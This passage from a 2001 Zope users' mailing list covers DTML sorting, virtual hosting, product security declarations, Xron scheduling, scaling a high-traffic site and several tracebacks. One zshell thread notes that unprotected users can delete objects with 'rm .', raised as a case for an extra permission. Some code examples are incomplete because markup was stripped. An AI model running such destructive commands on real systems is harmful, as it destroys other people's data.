incorporate other code as shown above. Do you still think you need to do it? And stop using that obsolete syntax From simon@joyful.com Thu May 3 20:31:18 2001 From: simon@joyful.com (Simon Michael) Date: 03 May 2001 12:31:18 -0700 Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: <20010503202936.D479@nordine.ateur> (Jerome Alet's message of "Thu, 3 May 2001 20:29:36 +0200") References: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <878zke5roa.fsf@joyful.com> <20010503202138.B479@nordine.ateur> <20010503202936.D479@nordine.ateur> Message-ID: <87vgni44c9.fsf@joyful.com> Jerome Alet writes: > I've just seen the access is now protected, it's a good idea else > anyone could just do a: rm editing the zshell script is protected, but running it isn't. I couldn't find a way to protect against executing zshell commands, short of disabling all the lower-level permissions (such as object deletion). "rm" & "rm *" don't work but "rm ." does. Zshell allows you to do so much evil (as well as good) with so little effort, that I think it would benefit from an extra permission. From cduncan@kaivo.com Thu May 3 20:43:38 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 03 May 2001 13:43:38 -0600 Subject: [Zope] Re: Product Creation and Permission References: <20010503191329.20352.qmail@nwcst320.netaddress.usa.net> Message-ID: <3AF1B4EA.B7B3167@kaivo.com> The other thing I now notice is that you are mixing the old security model with __ac_permissions__ with the new one "classSecurityInfo". This is likely confusing Zope. Drop the __ac_permissions__ stuff. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From dieter@handshake.de Thu May 3 18:29:22 2001 From: dieter@handshake.de (Dieter Maurer) Date: Thu, 3 May 2001 19:29:22 +0200 (CEST) Subject: [Zope] dtml-in and objectValues() In-Reply-To: <3AF11B11.21636.3053F89E@localhost> References: <15088.19196.564748.380111@lindm.dm> <3AF11B11.21636.3053F89E@localhost> Message-ID: <15089.38258.745456.88695@lindm.dm> Kai Hofmann writes: > Thanks for the hint, but I have to add another requirement - I need to sort the > result of dtml-in/ZopeFind by a date attribute ... > I think I have an idea how to do it with dtml-in, but I have no idea how to do > it with ZopeFind .... You combine ZopeFind with dtml-in in exactly the same way you do it now with "objectValues".... Dieter From dieter@handshake.de Thu May 3 20:13:49 2001 From: dieter@handshake.de (Dieter Maurer) Date: Thu, 3 May 2001 21:13:49 +0200 (CEST) Subject: [Zope] Can my Catalog problem problem be caused by the VirtualHostMonste r In-Reply-To: <475194881@toto.iv> Message-ID: <15089.44525.906156.383353@lindm.dm> =?iso-8859-1?Q?Max_M=F8ller_Rasmussen?= writes: > All my content got indexed before I installed the VirtualHostMonster and now > the url in the search result doesn't seem right, and I cannot use the > "Update Catalog" as it gives me an error message. > > Some searches gives me strange results too. I think this has been addressed with more recent ZCatalog versions. However, there is probably some conversion step necessary. You may find documentation about ZCatalog and virtual hosting on zope.org. Dieter From dieter@handshake.de Thu May 3 20:15:26 2001 From: dieter@handshake.de (Dieter Maurer) Date: Thu, 3 May 2001 21:15:26 +0200 (CEST) Subject: [Zope] Making users work In-Reply-To: <879290642@toto.iv> Message-ID: <15089.44622.464591.865936@lindm.dm> Jens Vagelpohl writes: > if the user folder does not have cookie-based authentication built in you're > out of luck. you can't somehow attach a login form to any user folder if it > does not provide that facility itself. You know Shane's Cookie Crumbler product, part of CMF. It can wrap an login procedure based on HTTP basic authentication into a cookie based authentication. Dieter From tino@wildenhain.de Thu May 3 20:53:37 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 03 May 2001 21:53:37 +0200 Subject: [Zope] Complex dtml-in/ZopeFind ? In-Reply-To: <3AF14010.14420.30DFA255@localhost> Message-ID: <1084339230.988926817@BUZZER> Hi Kai, thats simple. You have too much logic in your dtml. First of all I would do it rather with a zcatalog search, since this would not call all documents (e.g. load them into memory) and gives you the flexibility on choosing whatever subset you want. If not, you should put all your search stuff into a python script, which returns a list of only the objects you want. If you use query-start/end you could as well put the
stuff there as well. If you dont, you can drop these lines and put them all outside, so there is no need to see how many items are returned. HTH Tino Wildenhain --On Donnerstag, 3. Mai 2001 11:27 +0200 Kai Hofmann = wrote: > Hi, > > I have the following code now: > > sort=3Dbobobase_modification_time reverse> > > bla > > > >

> >
> > > >
> > the problem here is that the sequence-start/end will always be executed - > for the case that there is an object outside of the start/end date > window! So I have to move the if (startdate <=3D _.DateTime()) & > (_.DateTime() <=3D enddate) condition into the dtml-in .... > Or replace thedtml-in with ZopeFind or something else .... > > Is it possible to but everything I need into a dtml-in or a ZopeFind? > As it looks to me - I can not add the if condition to the dtml-in - on > the other hand I don't see how to sort the result of an ZopeFind ... > > But hopefully I am still a little blind and someone can help - Thanks > > Kai > > -- > Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ > Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org > Universitaetsallee GW1 Block A phone:+49 421 22096-83 > D-28359 Bremen fax:+49 421 22096-55 > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From cg@cdegroot.com Thu May 3 20:48:03 2001 From: cg@cdegroot.com (Cees de Groot) Date: 3 May 2001 21:48:03 +0200 Subject: [Zope] Virtual HostMonster article References: <036701c0d393$886138a0$c3090740@megapathdsl.net> Message-ID: <9csclj$nqg$1@home.cdegroot.com> I've went one step further and built a little product that basically is a catalog-aware folder that asks for a sitename in the manage_add form. www.foo.com is converted into www_foo_com as the id (with www.foo.com as the title) on creation, and the thing adds itself to a "sites" catalog in the root folder that is used by an Access Rule to do virtual hosting. The advantage is that I don't have to go through any manual setup thingies in order to activate virtual hosts - a big advantage because I got a stack of dealers writing websites on our server and I don't want to play their typing clerk :-). Just Yet Another Way to handle it... (oh, and not having to play clerk comes out cheaper than saving a bit on an extra server ;-)) Jeff Peterson said: >I see both good and bad based on perspective. On one hand, and correct me >if I am wrong, he handles the whole of virtual hosting in Zope. I have not >really thought of the benefits of this other than not needing apache or IIS >et al, to do virtual hosting. On the other hand, using apache has benefits >that I can see. First, using proxypass and site root is exceedingly simple >once you know how to use it, you modify the apache conf file and add a site >root object in Zope, no extra coding. With this method you have to deal >with the hostname on your own, write the code and deal with the >contingencies. Also, you can easily use apache to cache high overhead items >and have apache serve them instead of Zope. > From kyroraz@usa.net Thu May 3 21:03:08 2001 From: kyroraz@usa.net (Jason Joy) Date: 3 May 2001 13:03:08 MST Subject: [Zope] Re: Product Creation and Permission Message-ID: <20010503200308.11724.qmail@nwcst318.netaddress.usa.net> I dropped the __ac_permissions__ as well as made some changes per your recommendations and got a fundamental change. Thanks for your input into= this. Other things are going on, however, that I don't quite understand:= To set up a small example of what I am doing, I am making a Object in Zop= e called "Fish" that is an instance of A. In the SQL database that is inde= xed with Fish is Red Snapper, Trout, and Haddock. So, by clicking on Fish I = get a management screen that shows each one of these fish. Instead of getting another management screen when I select a specific fis= h, I get the index_html of the folder. All the links in the Fish folder go to: =2E./Inventory/Fish/Trout/manage_workspace, so that part is okay... It's= just not going to another management screen. Interestingly, _getOb in A is ca= lled twice during this whole procedure. Jason Casey Duncan wrote: > The other thing I now notice is that you are mixing the old security > model with __ac_permissions__ with the new one "classSecurityInfo". > = > This is likely confusing Zope. Drop the __ac_permissions__ stuff. > = > -- = > | Casey Duncan > | Kaivo, Inc. > | cduncan@kaivo.com > `------------------> > = > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - = > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 From scott@launchpoint.net Thu May 3 22:23:00 2001 From: scott@launchpoint.net (Scott) Date: Thu, 03 May 2001 13:23:00 -0800 Subject: [Zope] Strange ODB/folder problem Message-ID: I have about 300 folder objects in my ODB. Running 2.1.6 on Linux. One (and maybe more) of the folders are not accessable by top-level admin or manager. And by not accessable I mean, I can't go into it, if I try to read its object values I am prompted to login and I get an unauthorized error. If I try to delete it I get the following error and traceback: Error Type: TypeError Error Value: attribute-less object (assign or del) TraceBack: Traceback (innermost last): File /usr/local/Zope-2.1.6-src/lib/python/ZPublisher/Publish.py, line 165, in publish File /usr/local/Zope-2.1.6-src/lib/python/ZPublisher/mapply.py, line 160, in mapply (Object: manage_delObjects) File /usr/local/Zope-2.1.6-src/lib/python/ZPublisher/Publish.py, line 102, in call_object (Object: manage_delObjects) File /usr/local/Zope-2.1.6-src/lib/python/OFS/ObjectManager.py, line 401, in manage_delObjects (Object: ApplicationDefaultPermissions) File /usr/local/Zope-2.1.6-src/lib/python/OFS/ObjectManager.py, line 273, in _delObject (Object: ApplicationDefaultPermissions) File /usr/local/Zope-2.1.6-src/lib/python/OFS/ObjectManager.py, line 268, in manage_beforeDelete (Object: ElementWithAttributes) File /usr/local/Zope-2.1.6-src/lib/python/OFS/ObjectManager.py, line 268, in manage_beforeDelete (Object: ElementWithAttributes) File /usr/local/Zope-2.1.6-src/lib/python/OFS/ObjectManager.py, line 268, in manage_beforeDelete (Object: ElementWithAttributes) File /usr/local/Zope-2.1.6-src/lib/python/Products/ZDBase/ZDiscussions.py, line 195, in manage_beforeDelete (Object: 971638688) TypeError: attribute-less object (assign or del) Thanks! Scott Burton -- Launchpoint.net ZopeSite.com Voice: 661-325-0288 Business: http://www.launchpoint.net and http://www.zopesite.com Weblog Portal: http://www.blogthis.com -- From sean.upton@uniontrib.com Thu May 3 21:31:50 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Thu, 03 May 2001 13:31:50 -0700 Subject: [Zope] Apache/Zope: methods for serving high traffic? Message-ID: Hey all, I need some deployment advice. After 2 years of doing relatively small stuff in Zope - mainly low volume apps, intranet stuff - I am at a point where a very high-traffic-volume application is about to be deployed, and I am left wondering what the best means of web-server integration is for high-traffic applications? In a nutshell, here is my set up: traffic comes in through a layer 4 load-balancer that directs traffic to 2 squid http accelerators (Sun E250s + 1GB RAM + Debian/Sparc/Linux 2.4), which proxy (with a simple perl script as a redirector or poor person's load balancer) to a farm of two web servers (VA Linux 1220 PIII/800 1CPU 512MB), which are running Apache and will be running Zope using Client storage. I have a temporary database sever that is a Sun Netra T1 105 (UltraSparc IIe 440MHz, 256MB, 10kRPM LVD SCSI disks, Debian unstable), and will acting in temporary capacity as a ZEO ZSS using FileStorage. Zope will be running using a VHM for virtual hosts. The initial application running on Zope for our site is going to be an online Classified Ad system; we are a Top 20 newspaper in a sizeable market with a lot of traffic; classifieds is a good chunk of our Monday traffic, and our app needs to scale to anticipate traffic of up to 50,000 page views an hour, all served from Zope, with about 3/4 of all page views being a ZCatalog query (search or browse, everything is done with a catalog). So, with perhaps 37,000 catalog queries an hour (or 10-15/sec), I want to make sure I set up my infrastructure to handle this. I feel that the CPU usage associated with the queries will be handled by our 2 new web servers just fine. I'm going to be setting up a cache manager for my entire site hierarchy, so I also am comfortable with the idea that all my images will be cached on the Squid boxes in front of the servers. I still have a few questions remaining in my head: 1 - Will my temporary ZSS box handle this (1CPU, 256MB)? The ODB will likely contain at most, 20,000 small object instances, most of which are subclassed from OFS:Folder. My more permanent ZSS box is a Sun E450 with 1GB Ram that will be running Linux, and I'm sure that that will be an improvement, but that box is being used for something else, and isn't available now. 2 - How do catalog queries get cached in the cache managers? Is it likely that a simple query (like 'browsing' a section of ads through a catalog query) will be cached? If I was to guess, I would think that 1/3 of all traffic is likely going to be esoteric searches that are not really useful to cache. 3 - So far, I can think of 3 ways to present my Zope apps to the public: a. [REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(APACHE)->(ZSERVER) b. [REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(APACHE)->(PCGI)->(ZOPE) c. [REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(ZSERVER) I am included to do c, but if that doesn't work out, what is anyone's experience working with a vs. b (in terms of PCGI vs. PROXY to ZServer)? Any feedback would be REALLY appreciated. One I get this in place, I would be happy to reciprocate with advice for anyone else in a similar situation... Thanks, Sean ========================= Sean Upton Senior Programmer/Analyst SignOnSanDiego.com The San Diego Union-Tribune 619.718.5241 sean.upton@uniontrib.com ========================= From jasonic@nomadicsltd.com Thu May 3 21:38:16 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Thu, 3 May 2001 16:38:16 -0400 Subject: [Zope] Virtual HostMonster article Message-ID: <004e01c0d410$fbbe6ca0$c3090740@megapathdsl.net> Thanks for the VHM feedback everyone.. "Cees de Groot" wrote in message news:9csclj$nqg$1@home.cdegroot.com... > I've went one step further and built a little product that basically is a > catalog-aware folder that asks for a sitename in the manage_add form. > www.foo.com is converted into www_foo_com as the id (with www.foo.com as the > title) on creation, and the thing adds itself to a "sites" catalog in the root > folder that is used by an Access Rule to do virtual hosting. That sound just like what I am looking for.. and for similar reasons. Is your product posted anywhere? ./JASON ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From dave@kovach.com Thu May 3 21:40:22 2001 From: dave@kovach.com (dave@kovach.com) Date: 3 May 2001 13:40:22 -0700 Subject: [Zope] Zope as Portal Server Message-ID: <20010503204022.3288.cpmta@c000.snv.cp.net> Hi - Was researching something for work and was curious if anyone had any thoughts as to how ZOPE could be used as a PORTAL SERVER? Portals being all the craze(!) in the enterprise-land - seems as if ZOPE or even cooler a "vertical" version of ZOPE geared towards specifically the needs of deploying and maintaining an Enterprise portal... Any thoughts on the topic? or on the topic of ZOPE in the enterprise? or on the topic of Vertical versions of the ZOPE application? Sincerely, David Kovach dave@kovach.com _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From tino@wildenhain.de Thu May 3 21:50:30 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 03 May 2001 22:50:30 +0200 Subject: AW: AW: [Zope] Source from form result. In-Reply-To: Message-ID: <1087752900.988930230@BUZZER> Hi Marc, its simply: in your case :) x and y go into this **kw argument. If this is set, webclient uses POST. HTH Tino Wildenhain. --On Mittwoch, 2. Mai 2001 20:45 +0200 Marc Fischer wrote: > Hi Tino, > > I think, thats it, what I am looking for. Your Example works fine so far. > But my understanding in python I so low, that I am not able change it in > my needed way. Perhabs you could tell me how to realize this: > >
> > > >
> > and show me how to get the source of the result page?! :-) > > I would be very happy, ... thanx a lot ... > > Marc > > > > >> -----Ursprungliche Nachricht----- >> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im Auftrag von Tino >> Wildenhain >> Gesendet: Mittwoch, 2. Mai 2001 15:37 >> An: Marc Fischer; Danny William Adair; Paula Mangas >> Cc: zope@zope.org >> Betreff: Re: AW: [Zope] Source from form result. >> >> >> Hi Marc, >> >> zope has a "client" deep in its core :) >> See lib/python/ZPublisher/Client.py >> for more info. >> >> I currently use a external method like this: >> >> > from ZPublisher import Client >> >> def web_client(url = '', username = None, password = None, **kw): >> '''access http servers''' >> class gen_res: >> __allow_access_to_unprotected_subobjects__=1 >> f=gen_res() >> if kw: >> f.headers,f.body=Client.call(url,username,password,kw) >> else: >> f.headers,f.body=Client.call(url,username,password) >> return(f) >> >> >> And use it like this: >> >> >> >> >> >> In Client.py are also methods and functions to map arguments >> to a POST request as you wish. >> >> I think, the above could be a starting point for you. >> >> HTH >> Tino Wildenhain >> >> --On Mittwoch, 2. Mai 2001 12:12 +0200 Marc Fischer >> wrote: >> >> > Hi Danny, >> > >> > first of all thank you for your detailed help!!! That is >> nearly, what I am >> > looking for, but one problem exists: >> > The page I want to extract (you are right ... its on an external >> > server) does not work with passing the variables in the url. I mean ... >> > >> > http://server?x=a&y=b does not work. >> > >> > I need to do it with a form like: >> > >> >
>> > >> > >> > >> >
>> > >> > That's my big big problem. Btw, ... its legal :-))) >> > >> > Marc >> > >> > >> > >> > >> > >> > >> >> -----Ursprungliche Nachricht----- >> >> Von: Danny William Adair [mailto:Danny@Adair.net] >> >> Gesendet: Mittwoch, 2. Mai 2001 01:26 >> >> An: Marc Fischer; Paula Mangas >> >> Cc: zope@zope.org >> >> Betreff: Re: [Zope] Source from form result. >> >> >> >> >> >> Hi Marc, >> >> >> >> When you submit a form to one of your DTML methods or >> documents, all the >> >> form variables will be available without any further work to be done >> >> (REQUEST object, see docs). But if I get you right, you are not >> >> submitting your form to a method of your own. So things are a bit >> >> different here. >> >> >> >> As I understand it, you are submitting your form to someone >> else's server >> >> (since otherwise you would produce the output yourself). Maybe you're >> >> providing an input form that is directed to a search engine, >> or something >> >> similar. >> >> >> >> -------------------------------------------- >> >>
>> >> >> >> >> >> >> >> >> >> >> >> >> >>
>> >> -------------------------------------------- >> >> >> >> If so, then you should take a look at the "KebasData" Product: >> >> http://www.zope.org/Members/kedai/KebasData >> >> >> >> Just instantiate a KebasData object, let's say "results". Take a >> >> look at the >> >> product's documentation to see how you can extract the >> relevant code from >> >> the external server's result page. I'll try to get you started right >> >> away: >> >> >> >> Set the regular expression patterns properly, start with >> >> >> >> .* >> >> >> >> as the search pattern and leave the rest blank ("url" will be set >> >> by a DTML >> >> method you create, see below), then you'll get the entire >> >> external page, you >> >> can change that later to fit your needs. >> >> >> >> Then create a DTML method next to it, lets say "getResults". It could >> >> look like this: >> >> >> >> >> >>

RESULTS

>> >> >> >> > >> easier to do further processing with your fetched data. >> >> >> >> hth, >> >> Danny >> >> >> >> P.S.: Check the legal stuff before extracting other people's pages ;-) >> >> >> >> >>> -----Ursprungliche Nachricht----- >> >> >>> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im >> >> Auftrag von Marc >> >> >>> Fischer >> >> >>> Gesendet: Dienstag, 1. Mai 2001 11.43p >> >> >>> An: Paula Mangas; Marc Fischer >> >> >>> Cc: zope@zope.org >> >> >>> Betreff: AW: [Zope] Source from form result. >> >> >>> >> >> >>> >> >> >>> Hi, >> >> >>> >> >> >>> I think there was an understanding problem. I want to get the >> >> >>> source code of >> >> >>> the result that is displayed in the browser, after klicking on >> >> >>> the submit >> >> >>> button. I want to be able to handle this source perhabs to create >> >> >>> a dtmlmethod wiht it, or do some string extractions with it. >> >> >>> >> >> >>> >> >> >>> >> >> >>> > -----Ursprungliche Nachricht----- >> >> >>> > Von: Paula Mangas [mailto:pamm@students.si.fct.unl.pt] >> >> >>> > Gesendet: Dienstag, 1. Mai 2001 13:25 >> >> >>> > An: Marc Fischer >> >> >>> > Cc: zope@zope.org >> >> >>> > Betreff: Re: [Zope] Source from form result. >> >> >>> > >> >> >>> > >> >> >>> > On Tue, 1 May 2001, Marc Fischer wrote: >> >> >>> > >> >> >>> > > Hi, >> >> >>> > > >> >> >>> > > I want to get the HTML result from a form into a dtml method. >> >> >>> > So I need a >> >> >>> > > way to handle this result, but HOW. >> >> >>> > > >> >> >>> > > The form ist like this: >> >> >>> > > >> >> >>> > >
>> >> >>> > > >> >> >>> > > >> >> >>> > > >> >> >>> > >
>> >> >>> > > >> >> >>> > > If I klick on submit, I get the result displayed in the >> >> >>> Browser, but I >> >> >>> > > cannot work with it. >> >> >>> > > Perhaps someone could help me??? >> >> >>> > >> >> >>> > >> >> >>> > Hi, >> >> >>> > >> >> >>> > >> >> >>> > I think that, if you try >> >> >>> >
> >> method=POST> >> >> >>> > >> >> >>> > it will work. >> >> >>> > >> >> >>> > Paula >> >> >>> > >> >> >>> >> >> >>> >> >> >>> _______________________________________________ >> >> >>> Zope maillist - Zope@zope.org >> >> >>> http://lists.zope.org/mailman/listinfo/zope >> >> >>> ** No cross posts or HTML encoding! ** >> >> >>> (Related lists - >> >> >>> http://lists.zope.org/mailman/listinfo/zope-announce >> >> >>> http://lists.zope.org/mailman/listinfo/zope-dev ) >> >> >>> >> >> >> > >> > >> > _______________________________________________ >> > Zope maillist - Zope@zope.org >> > http://lists.zope.org/mailman/listinfo/zope >> > ** No cross posts or HTML encoding! ** >> > (Related lists - >> > http://lists.zope.org/mailman/listinfo/zope-announce >> > http://lists.zope.org/mailman/listinfo/zope-dev ) >> >> >> >> >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://lists.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) >> > From dave@kovach.com Thu May 3 21:54:20 2001 From: dave@kovach.com (dave@kovach.com) Date: 3 May 2001 13:54:20 -0700 Subject: [Zope] Zope as Portal Server Message-ID: <20010503205420.20522.cpmta@c000.snv.cp.net> Also, Another way to think of this is using ZOPE as an integration layer between many different enterprise applications via the web. Its great at Content Management (a Portal of sorts) and other intended uses - seems like its functionality could be geared around the above too. You then have total control of an enterprises web-offerings to public, employees, vendors all in one place too. Thoughts? Sincerely, David Kovach dave@kovach.com On Thu, 03 May 2001, dave@kovach.com wrote: > > Hi - > > Was researching something for work and was curious if anyone had any thoughts as to how ZOPE could be used as a PORTAL SERVER? > > Portals being all the craze(!) in the enterprise-land - seems as if ZOPE or even cooler a "vertical" version of ZOPE geared towards specifically the needs of deploying and maintaining an Enterprise portal... > > Any thoughts on the topic? or on the topic of ZOPE in the enterprise? or on the topic of Vertical versions of the ZOPE application? > > Sincerely, > > David Kovach > dave@kovach.com > > > > > _____________________________________________________ > > Get your name as your email and web site address. > http://www.NetIdentity.com. Be somebody online. > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From alet@unice.fr Thu May 3 22:02:13 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 23:02:13 +0200 Subject: [Zope] Re: [ANN] zshell: The Zope Shell In-Reply-To: <873dam5kva.fsf_-_@joyful.com>; from simon@joyful.com on Thu, May 03, 2001 at 11:48:57AM -0700 References: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <878zke5roa.fsf@joyful.com> <20010503202138.B479@nordine.ateur> <873dam5kva.fsf_-_@joyful.com> Message-ID: <20010503230213.A476@nordine.ateur> On Thu, May 03, 2001 at 11:48:57AM -0700, Simon Michael wrote: > Jerome Alet writes: > > however it doesn't seem to work with your url. I confirm it works > > fine at home. > > What doesn't work ? I was hacking on it.. It works fine now, sorry. > > Another thing you've missed is that its powerfulness resides in its > > ability to deal with multiple commands, that's why the original form > > was a textarea, e.g.: > > Didn't miss it, just preferred a text input because it reduces my > mousing effort in netscape. I tweaked your code to allow multiple > commands on a line (at http://zwiki.org/TestPage). I've seen and I'll probably include it in the main code. > What do you think about adding a "Run Zshell Commands" permission as > an extra level of configurability for this mode of interaction ? No problem, just tell me how to do that, I'm not a Zope permission master at all. FYI I've rewritten the little thing as an external method, here's what works now: cd, pwd ls cp, mv, rm cut, copy, paste import restart pack save, discard (versions, but still untested) chown (even with -R, doesn't work yet but I'm on it just now) I expect to have the man command work tomorrow or later this evening, as well as some more commands, and then I'll upload it somewhere for people to test. Note to DC folks: if only manage_restart didn't redirected to manage_main but to URL0 !!! bye, Jerome Alet From CapesiusA@Sysmex.com Thu May 3 22:25:06 2001 From: CapesiusA@Sysmex.com (Capesius, Alan) Date: Thu, 3 May 2001 16:25:06 -0500 Subject: [Zope] Xron not firing reliably Message-ID: <52357C028418D411B45200508BA5539545FB39@SYSEXCHG> I'm using a sendmail operation in three identical xron methods. The events are scheduled for 12:00:00 each day. They can be triggered manually or scheduled for other times, but they do not fire reliably over time. That is, they will work the first and maybe second time but will not fire repeatedly over several days. No output goes to the STUPID_LOG_FILE when this happens. Restarting the Zope service will activate the unfired events and log them. Anyone have any ideas on what might be going on or not going on here? I'm currently running a test with a simple test logging event that fires every minute to see if it will eventually break down. Thanks, Alan Capesius, MCSE/NTCIP+20 Technical Support Engineer Sysmex Corporation of America capesiusa@sysmex.com From mauricio@catho.com.br Thu May 3 22:44:49 2001 From: mauricio@catho.com.br (Mauricio Souza Lima) Date: Thu, 03 May 2001 18:44:49 -0300 Subject: [Zope] Apache/Zope: methods for serving high traffic? References: Message-ID: <3AF1D151.E569C247@yahoo.com.br> Hi sean, i will try to help you whith i can. I think that the option c is realy the best one, i personaly dont like pcgi because it's too slow, i believe that in the battle a vs b, i choose a because they work by threads and is faster than pcgi. If the request method to the ZCatalog pages be GET, then squid will cache the response for you, just set the headers. Good Luck! -- Mauricio Souza Lima WebDeveloper - Catho ONLINE mauricio@catho.com.br www.catho.com.br mauriciosl@yahoo.com.br sean.upton@uniontrib.com wrote: > > Hey all, > > I need some deployment advice. After 2 years of doing relatively small stuff > in Zope - mainly low volume apps, intranet stuff - I am at a point where a > very high-traffic-volume application is about to be deployed, and I am left > wondering what the best means of web-server integration is for high-traffic > applications? > > In a nutshell, here is my set up: traffic comes in through a layer 4 > load-balancer that directs traffic to 2 squid http accelerators (Sun E250s + > 1GB RAM + Debian/Sparc/Linux 2.4), which proxy (with a simple perl script as > a redirector or poor person's load balancer) to a farm of two web servers > (VA Linux 1220 PIII/800 1CPU 512MB), which are running Apache and will be > running Zope using Client storage. I have a temporary database sever that > is a Sun Netra T1 105 (UltraSparc IIe 440MHz, 256MB, 10kRPM LVD SCSI disks, > Debian unstable), and will acting in temporary capacity as a ZEO ZSS using > FileStorage. Zope will be running using a VHM for virtual hosts. > > The initial application running on Zope for our site is going to be an > online Classified Ad system; we are a Top 20 newspaper in a sizeable market > with a lot of traffic; classifieds is a good chunk of our Monday traffic, > and our app needs to scale to anticipate traffic of up to 50,000 page views > an hour, all served from Zope, with about 3/4 of all page views being a > ZCatalog query (search or browse, everything is done with a catalog). So, > with perhaps 37,000 catalog queries an hour (or 10-15/sec), I want to make > sure I set up my infrastructure to handle this. I feel that the CPU usage > associated with the queries will be handled by our 2 new web servers just > fine. I'm going to be setting up a cache manager for my entire site > hierarchy, so I also am comfortable with the idea that all my images will be > cached on the Squid boxes in front of the servers. I still have a few > questions remaining in my head: > > 1 - Will my temporary ZSS box handle this (1CPU, 256MB)? The ODB will > likely contain at most, 20,000 small object instances, most of which are > subclassed from OFS:Folder. My more permanent ZSS box is a Sun E450 with > 1GB Ram that will be running Linux, and I'm sure that that will be an > improvement, but that box is being used for something else, and isn't > available now. > > 2 - How do catalog queries get cached in the cache managers? Is it likely > that a simple query (like 'browsing' a section of ads through a catalog > query) will be cached? If I was to guess, I would think that 1/3 of all > traffic is likely going to be esoteric searches that are not really useful > to cache. > > 3 - So far, I can think of 3 ways to present my Zope apps to the public: > a. > [REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(APACHE)->(ZSERVER) > b. > [REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(APACHE)->(PCGI)->(ZOPE) > c. [REQUEST]->(LOADBALANCER)->(SQUID+REDIRECTOR)->(ZSERVER) > > I am included to do c, but if that doesn't work out, what is anyone's > experience working with a vs. b (in terms of PCGI vs. PROXY to ZServer)? > > Any feedback would be REALLY appreciated. One I get this in place, I would > be happy to reciprocate with advice for anyone else in a similar > situation... > > Thanks, > Sean > > ========================= > Sean Upton > Senior Programmer/Analyst > SignOnSanDiego.com > The San Diego Union-Tribune > 619.718.5241 > sean.upton@uniontrib.com > ========================= > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From erik@pacific-shores.com Thu May 3 22:49:48 2001 From: erik@pacific-shores.com (Erik Myllymaki) Date: Thu, 3 May 2001 14:49:48 -0700 Subject: [Zope] loginmanager NameError Message-ID: <004701c0d41a$f9bc0160$0b01a8c0@erm> I am following the HOWTO at: http://www.zope.org/Members/jok/SQL_based_LoginManager I think I have done everything as directed, but I get a name error when trying to access the folder with the new LoginManager inside for the first time. I have written a teststub to check which method causes the error and it turns out they all do - they can't find the zSQL methods even though they are in the same folder: Error type: NameError Error Value: SQL_check_user Any advice appreciated. Erik Myllymaki erik@pacific-shores.com From kyroraz@usa.net Thu May 3 22:51:03 2001 From: kyroraz@usa.net (Jason Joy) Date: 3 May 2001 14:51:03 MST Subject: [Zope] Re: Product Creation and Permission] Message-ID: <20010503215103.25430.qmail@nwcst312.netaddress.usa.net> I also found this interesting. In a regular vanilla DTML document, if you put this in: You'll get something like this back: jj However, in method B of my Product, when it goes to the index_html for th= e product, and I put in the above, I get this back: Site Error An error was encountered while publishing this resource. = exceptions.TypeError Sorry, a site error occurred. Traceback (innermost last): File /usr/local/Zope-2.3.2/lib/python/ZPublisher/Publish.py, line 223, = in publish_module File /usr/local/Zope-2.3.2/lib/python/ZPublisher/Publish.py, line 187, = in publish File /usr/local/Zope-2.3.2/lib/python/ZPublisher/Publish.py, line 171, = in publish File /usr/local/Zope-2.3.2/lib/python/ZPublisher/mapply.py, line 160, i= n mapply (Object: index_html) File /usr/local/Zope-2.3.2/lib/python/ZPublisher/Publish.py, line 112, = in call_object (Object: index_html) File /usr/local/Zope-2.3.2/lib/python/App/special_dtml.py, line 127, in= __call__ (Object: index_html) File /usr/local/Zope-2.3.2/lib/python/DocumentTemplate/DT_String.py, li= ne 538, in __call__ (Object: index_html) File /usr/local/Zope-2.3.2/lib/python/DocumentTemplate/DT_Util.py, line= 334, in eval (Object: REQUEST['AUTHENTICATED_USER']) (Info: REQUEST) File , line 0, in ? File 